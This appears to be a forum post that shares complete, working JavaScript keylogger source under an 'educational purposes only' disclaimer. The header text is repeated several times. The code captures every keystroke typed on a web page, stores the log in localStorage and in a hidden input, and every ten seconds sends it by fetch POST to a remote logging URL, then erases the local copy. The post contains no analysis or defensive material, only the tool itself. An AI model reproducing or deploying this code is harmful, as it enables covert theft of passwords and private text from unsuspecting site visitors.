A professional keylogger in JavaScript 2023 last Update code
Code By E1.Coders
Disclaimer: This code is for educational purposes only and should not be used for malicious activities.
It uses a constructor function to create a keylogger object
It uses a hide function to hide the input element
It uses a filter function to remove useless keys such as Shift, Ctrl, Alt, etc.
It uses a save function to store the data in the browser’s local storage
It uses a send function to send the data to the server using the Fetch API
It uses a clear function to clear the stored data in the local storage
It uses a start function to start the keylogger by setting an event listener and a timer
Contact: [email protected]
Threat: Vasilievich Java Script Keylogger
Vulnerability: Payload
Third-party attackers who can guess sensitive information and passwords can easily infiltrate and gain access to the operating system.
Code By E1.Coders
Disclaimer: This code is for educational purposes only and should not be used for malicious activities.
It uses a constructor function to create a keylogger object
It uses a hide function to hide the input element
It uses a filter function to remove useless keys such as Shift, Ctrl, Alt, etc.
It uses a save function to store the data in the browser’s local storage
It uses a send function to send the data to the server using the Fetch API
It uses a clear function to clear the stored data in the local storage
It uses a start function to start the keylogger by setting an event listener and a timer
Contact: [email protected]
Threat: Vasilievich Java Script Keylogger
Vulnerability: Payload
Third-party attackers who can guess sensitive information and passwords can easily infiltrate and gain access to the operating system.
کد:
// A professional keylogger in JavaScript 2023 // Code By E1.Coders // Disclaimer: This code is for educational purposes only and should not be used for malicious activities. // It uses a constructor function to create a keylogger object // It uses a hide function to hide the input element // It uses a filter function to remove useless keys such as Shift, Ctrl, Alt, etc. // It uses a save function to store the data in the browser’s local storage // It uses a send function to send the data to the server using the Fetch API // It uses a clear function to clear the stored data in the local storage // It uses a start function to start the keylogger by setting an event listener and a timer // Contact: [email protected] // Threat: Vasilievich Java Script Keylogger // Vulnerability: Payload // Third-party attackers who can guess sensitive information and passwords can easily infiltrate and gain access to the operating system. // Define a constructor function for the keylogger object function Keylogger(url) { // Set the URL to send the data to this.url = url; // Create a hidden input element to capture the keystrokes this.input = document.createElement("input"); this.input.type = "hidden"; this.input.id = "keylogger"; document.body.appendChild(this.input); } // Define a method to hide the input element Keylogger.prototype.hide = function() { // Set the input style to be invisible this.input.style.display = "none"; }; // Define a method to filter the useless keys Keylogger.prototype.filter = function(key) { // Define an array of useless keys var uselessKeys = ["Shift", "Control", "Alt", "Meta", "CapsLock", "Tab", "Enter", "Escape", "ArrowUp", "ArrowDown", "ArrowLeft", "ArrowRight"]; // Check if the key is in the array if (uselessKeys.includes(key)) { // Return false to indicate that the key should be ignored return false; } else { // Return true to indicate that the key should be recorded return true; } }; // Define a method to save the data in the local storage Keylogger.prototype.save = function(key) { // Get the current value of the input element var value = this.input.value; // Append the key to the value value += key; // Set the input value to the new value this.input.value = value; // Store the value in the local storage with the key "data" localStorage.setItem("data", value); }; // Define a method to send the data to the server using Fetch API Keylogger.prototype.send = function() { // Get the value from the local storage with the key "data" var value = localStorage.getItem("data"); // Check if the value is not empty if (value) { // Create a parameter object with the key "data" and the value var params = { data: value }; // Convert the parameter object to a query string var queryString = Object.keys(params) .map((key) => key + "=" + params[key]) .join("&"); // Use the Fetch API to send a POST request to the URL with the query string fetch(this.url, { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded", }, body: queryString, }) .then((response) => { // Check if the response is successful if (response.ok) { // Clear the stored data in the local storage this.clear(); } }) .catch((error) => { // Handle any errors console.error(error); }); } }; // Define a method to clear the stored data in the local storage Keylogger.prototype.clear = function() { // Set the input value to an empty string this.input.value = ""; // Remove the item with the key "data" from the local storage localStorage.removeItem("data"); }; // Define a method to start the keylogger Keylogger.prototype.start = function() { // Hide the input element this.hide(); // Add an event listener to the document to record the keystrokes document.addEventListener("keydown", (event) => { // Get the key pressed var key = event.key; // Check if the key should be recorded if (this.filter(key)) { // Save the key in the local storage this.save(key); } }); // Set an interval to send the data to the server every 10 seconds setInterval(() => { this.send(); }, 10000); }; // Create a new keylogger object with the URL of the server var keylogger = new Keylogger("https://example.com/logger.php"); // Start the keylogger keylogger.start();